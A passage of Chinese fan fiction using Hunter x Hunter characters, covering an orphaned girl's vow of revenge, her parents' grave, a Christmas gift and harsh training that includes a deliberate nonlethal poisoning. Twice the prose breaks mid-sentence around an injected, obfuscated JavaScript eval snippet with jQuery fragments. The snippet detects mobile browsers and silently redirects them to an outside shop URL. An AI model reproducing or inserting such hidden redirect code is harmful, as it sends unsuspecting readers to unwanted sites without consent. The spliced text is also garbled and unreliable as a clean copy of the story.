就在木屋的轮廓完全清晰,甚至能闻到随风飘来的、若有若无的勿忘我香气时,朝穗空忽然停下了脚步。
她抬起头,看向走在她斜前方的奇犽。阳光给他的侧影镀上了一层毛茸茸的金边,那头金发在光线下几乎有些刺眼。
“说起来……”她开口,声音还带着一点哭过后的沙哑和鼻音。
奇犽放慢脚步,侧过头看她,脸上带着询问的神情。
朝穗空吸了吸鼻子,目光没有躲闪,直直地看向他,或者说,看向他那双在阳光下蓝得惊人的眼睛。
“我还不知道你叫什么名字。”她说的很认真,甚至带着孩子气般的执拗,“我不想一直叫你‘你’。”
这个突然出现在她生命最破碎时刻的女人,给予她庇护、食物、温暖,教她认识花草,陪她玩牌,救了一只小猫又送它离开……她对她几乎一无所知。
她从哪里来?她叫什么名字?她为什么会留下?她说的那些听得懂听不懂的话,到底藏着什么意思?
还是说她也只是她救助过的一只小猫?
奇犽停下了脚步。
他转过身,完全面向朝穗空。阳光从他身后照来,强烈的逆光让他的面容有些模糊,整个人陷在阴影里。朝穗空却清楚地看到,那双蓝宝石般的眼睛,在听到问题的瞬间,极其细微地闪烁了一下。
那里面掠过的情绪太快,她没有看清。
然后,那双眼眸弯了起来。不是礼貌的弧度,而是一个发自内心的笑容。那笑容太过明亮,甚至让逆光中的面容都清晰生动起来。
“我的名字啊。”他轻声说,声音里带着浓浓的笑意,笃定道,“你会知道的。”
朝穗空怔住了。
她设想过很多答案。一个普通的名字,一句‘这不重要’,甚至一个善意的谎言。但她没想到,会是这样一个指向模糊未来、却又十分肯定的回答。
心里那点因为离别而生的淡淡怅惘,瞬间被一种更强烈、更孩子气的不满取代。她皱起鼻子,微微鼓起脸颊,小声、却清晰地嘟囔道:
“小气鬼。”
奇犽闻言,笑得更开了。他没有反驳,没有解释,只是像往常无数次那样,自然而然地伸出手,揉了揉朝穗空被山风吹得有些凌乱的黑色头发。
“走吧,”他说,“我们回家。”
他转身,继续朝木屋走去,步伐轻松。
朝穗空看着他的背影,看着阳光下那耀眼的金发和纤细却挺拔的身姿。
“怎么不走?”他回头,短暂的余光停留在她身上。
算了。这样也挺好的。
她想。
“来了。”
朝穗空迈开脚步,跟了上去。
风更大了些,卷起花海汹涌的波浪,此起彼伏地涌向木屋,涌向他们,涌向这个阳光灿烂的的午后。
22. chapter.22
六月六日的清晨,是被鸟鸣唤醒的。
不是那种零星的、试探性的啁啾,而是一大群鸟儿聚集在木屋周围的枝头,仿佛开着一场喧闹而欢快的晨间会议。阳光透过窗帘的缝隙,在地板上投下明亮的光斑,空气中飘荡着青草和湿润泥土的清新气息。
奇犽比朝穗空醒得更早。
他站在窗边,微微撩开窗帘的一角,看着窗外那片被晨露洗过的、蓝得惊人的勿忘我花海。晨光给每一片花瓣都镶上了细碎的银边,风一过,便泛起层层叠叠的涟漪。
小杰的意识最先活跃起来,带着一贯的雀跃:‘今天是空的生日!’
雷欧力欧紧跟着:‘过得真快呢。’
酷拉皮卡轻轻应了一声。
奇犽看着窗外,手指无意识地摩挲着窗帘粗糙的布料。
十岁生日。
在他自己的记忆里,十岁生日似乎是在枯枯戮山度过的。具体怎么过的,记不清了。无非是家族惯例的、冰冷而程式化的“庆祝”,可能还有伊路米面无表情的“礼物”——通常是带着他处理更高级别的任务,或者给他加大任务的强度作为纪念。
生日对他而言,并不是一个值得期待的日子。它只是时间轴上又一个需要被填满的刻度,通常与训练、任务、或者家族那些令人窒息的规矩绑在一起。
但今天不一样。
今天,是朝穗空的十岁生日。
是她的第一个,由他们陪伴的生日。
他放下窗帘,转身走向厨房。厨房的桌子上,已经放着一个不大的、用蓝色勿忘我装饰的蛋糕胚。那是他昨天下午,在朝穗空去溪边玩耍时,和雷欧力欧一起鼓捣出来的。不算精美,甚至有点歪斜,但用料扎实,散发着淡淡的、温暖的甜香。
他系上围裙,开始准备早餐。
煎蛋的边缘金黄酥脆,培根煎得恰到好处,面包片在烤炉里散发出焦香。食物的香气渐渐弥漫开来,与窗外飘进来的草木清气混合在一起,构成一种奇异的、安宁的家的味道。
他端着早餐走进客厅时,朝穗空已经坐在餐桌边了。她穿着干净的白色睡衣,头发睡得有些蓬乱,正望着窗外出神。
“醒了?”奇犽把盘子放在她面前,“生日快乐,朝穗空。”
朝穗空转过头,看了看面前摆盘精致的早餐,又抬头看了看他,黑眼睛里掠过一丝茫然。她似乎这才意识到,今天是个特殊的日子。
“……谢谢。”她小声说,拿起叉子,却没有立刻开动。
“先吃饭。”奇犽在她对面坐下,端起自己的牛奶杯,“待会带你去个地方。”
朝穗空“嗯”了一声,低下头,开始小口地吃煎蛋。她的动作很慢,咀嚼得很仔细。
奇犽看着她,没有催促。他慢慢地喝着牛奶,目光却落在她低垂的睫毛上。
十岁,还有不到三年,他们就会遇见。
他们四个来到这里也快有半年多了。
时间像溪水,看似缓慢,实则无声而坚定地流淌着。
早餐过后,奇犽没有解释要带她去找什么。他只是牵起她的手,这个动作在过去一年里已经变得很自然。带着她走出木屋,穿过那片开得正盛的勿忘我花海。
晨露还没有完全蒸发,打湿了他们的裤脚,凉丝丝的。花瓣上的水珠在阳光下闪闪发光,像无数颗细小的钻石。空气中浓郁的花香几乎有了实体,沉甸甸地包裹着他们。
他们沿着一条被踩出的小径,走向花海深处。越往里走,花丛越高,渐渐没过了朝穗空的膝盖。蓝色的、紫色的花朵在风中摇曳,擦过她的手臂和脸颊,带来柔软微痒的触感。
最终,他们在花海中央一小块空地上停了下来。这里没有房屋,没有树木,只有无边无际的、向着山坡蔓延的勿忘我,和头顶那片广阔无垠的、蓝得透明的天空。
风很大,吹得他们的头发和衣角猎猎作响。花香被风搅动,带着一丝清苦的尾调。
奇犽松开她的手,率先在松软的草地上坐了下来,拍了拍身边的位置。
朝穗空在他身旁坐下,双手抱膝,下巴抵在膝盖上,望着眼前翻涌的花浪。
两人沉默了一会儿,只有风声在耳边呼啸。
“朝穗空,”奇犽开口,声音在风里显得不那么清晰,却异常平稳,“今天你十岁了。”
朝穗空转过头,看着他,等待下文。
“十岁,算是一个小小的分界。”奇犽没有看她,目光投向遥远的天际线,“开始懂事,开始有自己的想法,开始真正面对一些无法逃避的事情。”
他顿了顿,似乎在斟酌词句。
“所以,我想问你一个问题。”他终于转过头,目光直视着朝穗空。
“如果,在今天,在这个属于你的日子里,你可以许一个愿望——一个无论如何都想要实现的愿望。你会许什么愿?”
风声似乎小了些。
朝穗空看着他,黑眼睛里的茫然渐渐褪去,取而代之的是一种逐渐凝聚的、冰冷的清明。她没有立刻回答,而是缓缓地、非常缓慢地,将下巴从膝盖上抬起来,挺直了背脊。
这个简单的动作,让她整个人的气质都发生了微妙的变化。那个会在木屋里安静看书、会对着受伤小猫流露出些许无措、会因为离别而悄悄落泪的小女孩,仿佛被一层看不见的、坚硬的壳包裹了起来。
她开口,声音不大,却异常清晰:
“复仇。”
没有犹豫,没有迟疑。仿佛这个答案早已在她心里演练过千百遍,只等有人问出这个问题。
奇犽的心,几不可察地沉了一下。
尽管早有预料,尽管知道这是她生存至今的核心动力,但亲耳听到这个十岁的孩子,用如此平静而决绝的语气说出这两个字,依然带来一种难以言喻的冲击。
他看着她。
她的脸上没有任何表情,没有仇恨的扭曲,没有痛苦的泪水,只有一片近乎真空的、死寂的平静。
酷拉皮卡保持着面上的平静。他没有露出惊讶,没有试图劝阻,甚至连眉头都没有皱一下。他只是微微偏了偏头,用同样平静的语气,问出了下一个问题:
“哪怕,实现这个愿望的代价,是失去你自己的生命吗?”
朝穗空的睫毛颤了颤。
她的回答,依旧没有丝毫犹豫。
“对。”
一个字。斩钉截铁。
仿佛她思考这个问题已经很久很久,早已得出了不容置疑的结论。生命?与那永远凝固在记忆中的父母的最后身影相比,它的重量微乎其微。
如果这样的问题换成十二岁的酷拉皮卡,他也会是这个答案。
他沉默了几秒。风卷起几片蓝色的花瓣,打着旋从他们之间飞过。
然后,他点了点头。
“我明白了。”他说,声音依旧平稳,却多了一丝难以察觉的沙哑,“如果换作是我,如果我的亲人被那样杀害,我大概也会做出同样的选择。不惜一切代价,让那些夺走他们的人付出代价。”
复仇是一把熊熊烈火,燃烧着仇人,燃烧着自己。酷拉皮卡在此后的日日夜夜都忍受着灼烧的折磨。
他理解这种仇恨。他尊重这份决绝。
但是……
他看着她,目光沉沉地落在她尚且稚嫩、却已刻上不属于这个年龄的坚毅的脸上。阳光在她脸上投下睫毛的阴影,风将她额前的碎发吹得不停摆动。
“但是,朝穗空,”他再次开口,声音放得更轻,几乎要被风声淹没,却又奇异地清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261325|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晰地传入她的耳中,“选择走上这条路,你的人生,会变得非常、非常沉重。”
他顿了顿,似乎在寻找更准确的词汇。
“仇恨会成为你呼吸的空气,成为你心跳的动力,成为你衡量一切价值的唯一尺度。它会吃掉你的快乐,吞噬你的安宁,让你再也无法像普通人一样,仅仅因为一片好看的云、一朵盛开的花、或者一顿温暖的饭而感到单纯的满足。”
他的目光投向远处翻涌的花海,回想起过去的种种。
“你会一直背负着它,像背负着一座看不见的山。即使有一天,你完成了复仇,那座山也不会消失。它或许会变得轻一些,或许会改变形状,但它会一直存在,成为你生命的一部分,直到最后。”
这些话,与其说是对朝穗空的告诫,不如说是酷拉皮卡某种深切体会的流露。他们都知道这条路的尽头是什么——不是解脱,而是一片更加空旷、更加寒冷的荒原。
朝穗空安静地听着。
她没有反驳,没有争辩,甚至没有露出任何动摇的神色。她只是依旧那样笔直地坐着,黑眼睛望着前方,仿佛在凝视着某个只有她能看到的、遥远而血腥的终点。
过了很久,她才轻声说:
“我知道。”
“从他们死在我面前的那天起,我就知道了。”
她抬起手,不是去擦眼泪,而是指向花海的某个方向。那里,埋着她的父母。
“他们不在了。我的人生,从那天起,就已经不一样了。”
她收回手,重新抱住膝盖,将下巴搁上去。这个姿势让她看起来又变小了一些,像个普通的、需要依靠的孩子。但她说出的话,却字字如铁:
“快乐,安宁,像普通人一样生活……那些东西,早就和我没关系了。”
“我活下来,不是为了那些。”
“我活下来,”她一字一顿,清晰无比,“就是为了这个。”
为了复仇。
这就是她给自己的十岁生日,许下的唯一愿望。这就是她给自己剩余的人生,定下的唯一方向。
酷拉皮卡不再说话了。
他该说什么呢?劝她放下?那太虚伪,也太残忍。鼓励她前行?那等于亲手将她推向那条遍布荆棘和深渊的道路。
他只能沉默。
正是因为感同身受所以更该沉默。他无法阻止过去的另一个自己。
阳光渐渐变得炽烈,晒得人皮肤发烫。风依旧不停地吹着,卷起更多的花瓣,在空中形成小小的、蓝色的旋涡。无边无际的勿忘我在他们周围摇曳,沉默地见证着。
不知过了多久,奇犽站起身,朝她伸出手。
“该回去了。”他说,脸上恢复了平时的神情,仿佛刚才那番对话从未发生过,“生日蛋糕还在等着。”
朝穗空抬起头,看了看他伸出的手,又看了看他的脸。然后,她也伸出手,将自己的手放入他的掌心。
奇犽将她拉起来,牵着她,再次穿过那片蓝紫色的花海,走向山坡上那座小小的木屋。
身后,花浪依旧在风中起伏,发出沙沙的声响。
他们都知道,从这一刻起,某些东西已经彻底改变了。
十岁的朝穗空,亲手为自己戴上了名为‘复仇’的枷锁,也将自己未来的命运,锚定在了那片血色弥漫的过去。
这条路,一旦踏上,就无法回头。
而他们能做的,唯有在有限的时间里,尽可能地让她在这条注定沉重的道路上,走得稍微不那么孤独,稍微多记得一点点,除了仇恨之外,这个世界还有其他颜色。
比如这片在六月阳光下,蓝得惊心动魄的勿忘我花海。
比如手掌相握时,传来的那一点点,微不足道却真实的温暖。
23. chapter.23
低垂的云层像吸饱了水的旧棉絮,沉甸甸地压在起伏的山峦轮廓线上,仿佛随时会不堪重负,将积蓄了一整天的寒意化作雨水倾泻下来。
奇犽站在木屋门口,看着朝穗空小小的背影。
她今天起得很早,自己穿好了衣服,那套颜色最深、几乎接近黑色的衣裙。她没有吃早餐,也没有像往常一样去窗边看她的种子,或是翻阅那些关于植物的书籍。她只是静静地站在客厅中央,面对着门的方向,一动不动,像一尊过早被雕刻出悲伤轮廓的蜡像。
然后,在时针指向某个看不见的刻度时,她迈开了脚步。推开门,走入那片灰暗的天光下,径直走向屋后那片无边无际的勿忘我花海。
她的脚步很稳,没有迟疑,没有停顿,仿佛被一条看不见的线牵引着,走向那个早已确定的终点。背脊挺得笔直,甚至显得有些僵硬。黑色衣裙的下摆拂过深蓝近紫的花丛,留下一条短暂分开、又迅速合拢的痕迹。
奇犽没有出声叫住她。他只是沉默地跟在后面,保持着几步远的距离。
他的脚步声很轻,细微的声响被厚实的花茎和泥土吸收。
花海在这个季节依旧开得浓烈,仿佛不知道秋冬为何物。蓝紫色的花朵在铅灰色天光的映衬下,颜色显得格外深沉,散发出一种混合了清苦与甜腻的、过于浓稠的香气,沉沉地压在低矮的空气中。随着他们的深入,越来越浓,几乎有了实质的重量,压迫着呼吸。
朝穗空对这片花海早已熟悉。她沿着一条只有她自己知道的小径,熟练地在及腰高的花丛中穿行。花朵拂过她的手臂和脸颊,留下冰凉湿润的触感,像无数个无声的、带着植物清冽气息的吻。
奇犽跟在后面,目光落在她黑色的背影上,落在她随着步伐微微晃动的、束得一丝不苟的黑发上。
意识深处,其他三人也异常安静。
小杰似乎被这沉重的氛围感染,连一贯活跃的思绪都沉寂下来,只剩下一种感同身受般的、闷闷的钝痛。
雷欧力欧则带着医者看待旧伤复发的专业冷静,以及一丝不易察觉的担忧。
酷拉皮卡……奇犽能清晰地感觉到他意识里那几乎同步的共振。对失去的切肤之痛,对‘纪念’本身所携带的、足以压垮人心的重量。
他们走了大约一刻钟。花海深处,出现了一小块相对稀疏的空地。空地上没有高大植物,只有一些低矮的草和苔藓,中央微微隆起两个几乎看不见的土包。若不是走近细看,很容易就会忽略过去。
没有日期,没有墓志铭,没有任何多余的装饰。只有两个隆起的土包,沉默地宣告着曾经存在过的两个人,如今已归于这片他们或许也曾深爱过的土地之下。
这就是朝穗空父母的安息之地。不是正式的墓地,没有华丽的墓碑,只有最原始的土地。是奇犽在一年多以前,亲手将这对植物猎人夫妇埋葬于此。
沉睡在地底下不是真正的死亡,遗忘才是。
酷拉皮卡那时说过的话,又一次在奇犽意识里浮现。他们当时用这句话安慰年幼的朝穗空。
而记住这两个名字,记住他们曾存在过的责任,便落在了活下来的人肩上。
落在眼前这个,穿着一身黑衣,站在父母无名坟前,背影单薄得像一片随时会被风吹走的落叶的十岁女孩肩上。
朝穗空在土包前站了很久。
她只是站着,没有跪拜,没有哭泣,甚至没有伸手去触摸那两个隆起的土包。她只是静静地看着,目光在泥土之间缓缓移动,仿佛要将那每一粒沙粒,都深深地、用力地烙印进脑海的最深处。
奇犽没有靠近。他停在几米外的花丛边缘,同样沉默地看着。
时间在这里失去了意义。铅灰色的天空,沉甸甸地压在头顶。浓得化不开的勿忘我香气,包裹着这片小小的、悲伤的空地。远处山谷里,那条永不疲倦的溪流,传来模糊而恒久的、哗哗的水声。
不知过了多久,朝穗空终于动了。她没有转身离开,而是走到空地边缘一处略微隆起的、生着柔软草皮的斜坡上,坐了下来。她抱着膝盖,将下巴搁在膝盖上,目光依旧投向那两个土包,但眼神似乎有些放空,焦点落在了更远的地方,或者,是落在了时间的另一头。
奇犽也走了过去,在她身边坐下。他没有靠得太近,留出了一个恰当的距离。既能让她感觉到陪伴,又不会侵犯她此刻需要独自面对的那个悲伤而私密的空间。
两人就这样并排坐着,中间隔着几十公分的空气,和一段无法跨越的、由生死构成的时间鸿沟。
斜坡的草很软,带着晚秋的凉意。身下的泥土湿润而坚实。远处的溪流声是唯一的背景音,单调,持久,对人间悲欢无动于衷。
朝穗空一直很安静。她的呼吸很轻,几乎听不见。侧脸在灰暗天光下显得格外苍白,嘴唇抿得紧紧的,像在用力压抑着什么。她的眼睛睁得很大,里面却空荡荡的,没有泪水,没有焦点。
奇犽也没有说话。他双手向后撑着草地,微微仰头,看着铅灰色的、仿佛随时会塌下来的天空。
他不需要说什么。任何安慰的言语在此刻都显得苍白无力,任何试图分散她注意力的举动都近乎亵渎。他能做的,唯有陪伴,与她一起沉默地分担这份沉重到令人窒息的寂静。
揍敌客家训练承受力时也会使用一些极端手段。将人置于绝对的寂静或无法忍受的噪音中,剥夺所有感官刺激,只留下纯粹的痛苦或恐惧,以此锤炼精神的韧性。
眼前的朝穗空,似乎正在自发地进行着某种类似的、更为残酷的修行——将自己主动置于失去至亲的痛苦核心,去承受,去记忆,去让这份痛苦成为自己的一部分。
这很危险。
但也可能是她唯一能活下去的方式。
将痛苦变成基石,将仇恨化为支柱。
时间一点点流逝。天空的颜色愈发昏暗,从铅灰转向一种更深沉、更浑浊的灰蓝色。山间的雾气开始从低洼处、从溪流上方无声地弥漫开来。起初只是丝丝缕缕,像透明的纱幔,很快便连成一片,缓缓地、无可阻挡地朝着他们所在的斜坡蔓延过来。
雾气带来了更深重的寒意和潮湿。水汽附着在睫毛上,在花瓣上,在草叶的尖端,凝结成细小的水珠。
世界变得模糊,失去了清晰的边界。近处的花丛成了朦胧的色块,远处的山峦只剩下淡墨般的剪影。
奇犽感觉到身边的朝穗空,几不可察地颤抖了一下。然后极轻地、几乎是自言自语般地开口了。
声音很轻,被雾气吸收了大半,但奇犽还是听清了。
她说:“他们走的时候,也是这样的天气吗?”
他不知道。
他们来到这个时间点时,惨剧已经发生。他们只看到了凝固的血泊和冷却的尸体,只来得及收拾残局,埋葬遗骸。他们不知道那天的天气,不知道库洛洛动手时的表情,不知道她在那里心里忍受了多久痛苦。
他不知道该如何回答。
幸运的是,朝穗空似乎并不真的需要一个答案。她问完那句话后,又陷入了更深的沉默,仿佛刚才那句询问,只是沉入记忆深潭时,不小心泛起的一个气泡。
雾气越来越浓,渐渐将他们也包裹进去。丝丝缕缕的冰凉水汽贴着脸颊滑过,带着山林深处特有的、微腥的湿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261326|198038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
润气息。周围的一切,花海、土包、石头、远处的溪流——都变得影影绰绰,如同隔着一层毛玻璃观看的褪色旧照片。
奇犽侧过头,看向身边的朝穗空。
她的侧脸在浓雾中变得模糊不清,轮廓柔和了许多,却也显得更加脆弱、更加遥远。只有那双眼睛,在迷蒙的水汽中,依然定定地望向父母安息的方向,尽管那里早已被白雾吞没。
就在这雾气最浓、寂静最深的时刻,奇犽听到了自己发出的声音。
不是刻意的,更像是某种沉淀了太久的情感,被这特定的日期、这沉重的氛围、这浓得化不开的雾气,从意识的最深处搅动,最终不受控制地逸出了一丝。
“我认识的人也有死在这一天的。”
声音很平静,甚至没有太大的波澜。但奇犽能感觉到说出这句话时,胸腔里那股细微的、沉闷的收缩感。
朝穗空似乎愣了一下。她慢慢地、非常缓慢地转过头,第一次将目光从那片被雾气笼罩的空地上移开,看向奇犽。雾气在她眼中弥漫,让她黑色的瞳孔看起来也像是蒙上了一层水雾。
奇犽没有看她,目光投向前方虚无的白雾,仿佛能穿透这潮湿的屏障,看到某个遥远的、同样被十月十九日这个日期标记的终点。
“一个很好的朋友。”他继续说,语速很慢,每个字都像是从记忆的泥沙中费力打捞上来的,“没有人知道。她一个人,非常孤独地死去了。”
他说的是朝穗空。
是那个未来的、最终倒在血泊与仇敌尸体旁,用尽最后力气向拿尼加许愿,然后被所有人遗忘的朝穗空。
他控制得很好。只有一声几不可闻的、极其轻微的吸气声,泄露了那平静水面下的一丝裂痕。
朝穗空依旧看着他。她的眼睛睁得很大,里面除了茫然,似乎还多了点别的什么。像是不解,又像是某种模糊的、未成形的共鸣。
奇犽没有再解释。他重新将目光投向浓雾深处,仿佛刚才那句话只是被雾气带出来的一段遥远回声。
“逝去的生命太沉重了。”他最终说道,声音低沉,带着发自内心的疲惫,“它们不会消失,只是转换了形态,压在每一个还活着的人的心上。一代,又一代。”
这句话是说给朝穗空听的,也是说给他们四个人自己听的。
他们此刻坐在这里,陪着这个注定要背负沉重命运的女孩,纪念她死去的父母。而他们自己,也在某种意义上纪念那个未来会死去的她,并承受着那份‘遗忘’所带来的、另一种形式的沉重。
没有起点,没有终点,只有无尽的循环与背负的莫斯乌比环。
朝穗空静静地听着。
她没有回应,只是重新转回头,再次望向那片被浓雾和黑暗逐渐吞噬的空地,抱紧了自己的膝盖,将身体缩得更小一些。
又过了很久,久到最后一缕天光也被雾气和夜色彻底吞没,久到远处的溪流声都仿佛变得遥远而不真实。
朝穗空才用几乎听不见的声音,极轻地说了一句:
“我无法接受。”
不知道她说的是无法接受父母死去的事实,无法接受别人也有同样的失去,还是无法接受‘逝去的生命压在生者心上’这个残酷的真理。
或者,三者皆有。
奇犽没有追问。他只是静静地坐在她身边,坐在十月十九日浓重潮湿的雾气里,坐在勿忘我无边无际的、沉默的蓝色包围中。
陪伴,是他此刻唯一能给予的,也是最沉重的礼物。
雾气渐浓,夜色四合,将两个坐在斜坡上的身影,温柔而残酷地,一同淹没在无边的黑暗与寂静里。
24. chapter.24
雪在那年十二月来得特别早。
仿佛秋天只是打了个盹,冬天便迫不及待地接管了山林。清晨推开门,映入眼帘的已是一片无瑕的纯白。厚重的积雪压弯了勿忘我的花茎,将那片蓝紫色彻底掩埋,只留下起伏的、柔软的白色曲线,一直延伸到视线的尽头。
木屋的窗户结了一层薄薄的冰花。朝穗空用手指在上面画着无意义的图案,呵出的热气在玻璃上融化出一个个小小的、透明的圆。
奇犽站在她身后,手里握着什么东西,藏在背后。
他观察了她一会儿。她的背影在窗前显得格外安静,甚至有些落寞,圣诞节的氛围似乎并没有感染到她。
小杰的意识有些不安:‘她看起来好安静……要不要做点什么?’
雷欧力欧更实际:‘去年的圣诞老人把戏不管用了,得换个方式。’
酷拉皮卡则在思考更深远的问题:‘时间不多了。这是我们在她身边的第二个圣诞节。’
奇犽清了清嗓子。
朝穗空回过头,黑色的眼睛望向他,没什么特别的情绪。
“手伸出来。”奇犽说,努力让声音听起来轻松一些。
朝穗空迟疑了一下,还是摊开了小小的手掌。
奇犽将藏在背后的东西放在她掌心。
那是一个玻璃雪景球。不大,刚好可以被她两只手捧住。
球体是清澈的水晶玻璃,底座是深色的木头,雕刻着简单的藤蔓花纹。球体内,是一座微缩的、覆盖着‘白雪’的小木屋模型,屋前有一小片蓝色的‘花圃’。细小的、亮晶晶的‘雪花’悬浮在透明的液体中,只要轻轻一晃,便会纷纷扬扬地落下,缓缓覆盖那座小屋和花圃。
朝穗空愣了一下,低头看着掌心里这个晶莹剔透的小世界。
然后,她伸出另一只手,小心翼翼地捧起雪景球,举到眼前。她轻轻地、非常轻微地摇了摇。
球体内,人造的雪花开始旋转、飘落,纷纷扬扬,无声而永恒地覆盖着那个永远不会被寒冷侵蚀的微型世界。雪花落在小木屋的屋顶,落在蓝色的花圃上,缓慢地堆积。
她将雪景球举高,视线透过它,望向窗外真实的世界。窗外,真正的雪花正在飘落,覆盖着真实的山林和真实的花海,冰冷,寂静,终会融化。
隔着两层玻璃,雪景球的玻璃和窗户的玻璃,真实的雪花在远处无声飘洒。
她看了很久,然后放下雪景球,轻声问了一个问题。
“隔着玻璃看向雪花的我们是不是也是被世界观望的雪景球?”
奇犽的心脏,像是被一只冰冷而温柔的手,轻轻攥了一下。
他们四人被困在这个时间点,这个身份里,像被封存在雪景球中的微型景观,完成着某种被设定好的‘陪伴’与‘教导’。而外部那个‘真实’的世界,那个有幻影旅团、有猎人考试、有未来血腥命运的世界,是否也正隔着某种屏障,观望着他们?
他不知道该如何回答。最终,他只是伸出手,揉了揉她的头发。
“或许吧。”他说,声音有些哑,“但至少在这个球里,雪一直在下,花一直开着,小屋永远温暖。”
朝穗空没有回应。她只是又低下头,看着掌心里那个被雪花覆盖的微型世界,看了很久很久。
新年过后,训练正式开始了。
没有预先的说明,没有循序渐进的课程表。奇犽直接进入了最残酷、最有效的阶段。
“如果想复仇,你需要一具能承受战斗、能执行计划的身体。”奇犽的声音在那天清晨显得格外冷静,甚至有些冷酷,“从今天起,你的安逸日子结束了。”
朝穗空只是点了点头,脸上没有任何退缩或恐惧。那双黑眼睛里只有一片沉静的、准备好接受一切的决心。
第一阶段的训练是基础体能和抗性。负重越野,极限耐力,冷热交替耐受,平衡与协调……每一项都以超越常规孩童承受极限的标准进行。
奇犽没有因为她是个孩子、是个女孩而有丝毫手软。他精确地计算着她的极限,在她濒临崩溃的边缘施加压力,又在真正造成不可逆伤害前停止。
训练是痛苦的。
每一天结束,朝穗空都像是从水里捞出来的一样,浑身被汗水和泥泞浸透,肌肉因为过度使用而颤抖不止。她很少出声,只是咬牙忍耐,即使摔倒了,也会自己爬起来,用袖子抹掉脸上的泥土,继续向前。
直到一月初的那个晚上。
晚餐是简单的炖菜和米饭,味道和平时没什么不同。朝穗空像往常一样吃完,收拾碗筷,准备去擦洗身体。
然后,毫无预兆地,她眼前一黑。
一种迅速而猛烈的、从四肢末端开始蔓延的麻痹感,伴随着剧烈的眩晕和恶心涌上她的身体。她甚至没来得及发出声音,身体便失去了控制,直直地向前栽倒。
奇犽在她倒地前接住了她。
他将她平放在地毯上,动作迅速而专业地检查了她的脉搏、呼吸和瞳孔反应。一切都在预料之中——这是他们特意调配的神经麻痹毒素,剂量精准,不会造成永久伤害,但会带来极其真实的濒死体验和长达数小时的完全瘫痪。
意识深处,雷欧力欧的声音带着医者的严谨:‘脉搏稳定,呼吸稍浅但规律,瞳孔对光反应存在。剂量控制完美。’
小杰则有些不安:‘非得这样吗?会不会太……’
奇犽打断了他:‘这是必须的。她需要习惯“濒死”,习惯“失控”,习惯在绝对的不利条件下保持清醒。敌人不会对她手软。’
朝穗空躺在那里,身体完全无法动弹,连转动眼球都做不到。她能感觉到心脏在胸腔里沉重地跳动,能听到壁炉里柴火的噼啪声,能闻到地毯上淡淡的尘土味和草药味。但她的身体像一具不属于她的石膏像,冰冷,沉重,无法回应任何指令。
恐惧吗?
有的。
最初的瞬间,那种绝对的失控感像冰冷的潮水淹没了她。但很快,另一种情绪占据了上风——愤怒。被背叛的愤怒。为什么?她做了什么?她不是一直在努力吗?她不是按照要求,忍受着一切痛苦在训练吗?
然后,她听到了脚步声。
奇犽在她身边蹲下,俯视着她。他的脸在壁炉跳动的火光中显得有些不真实,那双蓝色的眼睛里没有任何歉意或怜悯,只有一片深沉的、近乎残酷的平静。
“感觉如何?”他问,声音很平,“无法控制身体,无法发出声音,连呼吸都需要刻意去维持。这就是失去力量、任人宰割的感觉。”
“你的敌人,那些夺走你父母的人,他们不会给你任何准备时间,不会在意你是否还是个孩子,不会在乎公平与否。他们只会用最有效、最致命的方式,让你失去反抗能力,然后夺走你的一切。在他们眼里,你只是一个蝼蚁。”
“记住这种感觉。”他的声音重了重,“记住这种无力,这种愤怒,这种连生死都无法自己掌控的绝望。”
“然后,用尽你的一切,避免再次陷入这种境地。”
他说完,便不再看她,起身走到壁炉边,添加了几块木柴。火星噼啪爆开,照亮了他平静的侧脸。
朝穗空躺在地毯上,看着天花板上摇晃的火光影,听着自己沉重的心跳和艰难的呼吸。身体依旧麻痹,恐惧和愤怒的余波还在血管里奔涌。但奇犽的话语刺穿了那些混乱的情绪,留下一种冰冷而清晰的认知。
这就是代价。
复仇之路的代价。
不仅仅是汗水、疲惫和伤痛,还有信任的瓦解,安全感的粉碎,以及对人性最后一点温存幻想的埋葬。
不知过了多久,麻痹感开始缓慢消退。先是手指能微微颤动,然后是脚趾,接着是眼皮……
当她终于能转动脖颈,用嘶哑的声音发出第一个音节时,窗外已经泛起了鱼肚白。
奇犽端着一杯温水走过来,扶起她,让她小口啜饮。温水滑过干涩的喉咙,带来些许真实的暖意。
朝穗空看着他,看了很久,然后用尽恢复的那点力气,细微、却异常清晰地说了两个字:
“……继续。”
没有抱怨,没有质问,没有退缩。
奇犽看着她眼中重新燃起的、比之前更加冷硬决绝的光芒,点了点头。
“当然。”
训练继续。强度更大,内容更残酷。但朝穗空再也没有流露出任何脆弱的迹象。她像一个被上紧了发条的人偶,精确地执行着每一项指令,榨干自己的每一分潜力。汗水浸透衣服,手掌磨出水泡又变成厚茧,身上增添着新的淤青和擦伤。
累吗?快要累死了。
“我可以收回之前的话吗?”她整个人虚脱躺在床上,开玩笑般吐出话语。在奇犽回答之前,她又自顾自接上了话。“开玩笑的。为了复仇,一切都是值得的。”
十一岁生日那天,没有蛋糕,没有礼物。
只有一张纸。
一张印刷着猎人协会标志、散发着淡淡油墨味的猎人考试报名申请表。
奇犽将那张纸放在朝穗空面前的餐桌上,表情是前所未有的严肃。
“如果你想复仇,如果你想知道仇人是谁,如果你想拥有足以实现愿望的力量和资源,”他指着那张表格,“你必须通过猎人考试,拿到猎人执照。”
朝穗空的目光落在表格上,落在那个需要填写姓名、年龄的空格上。
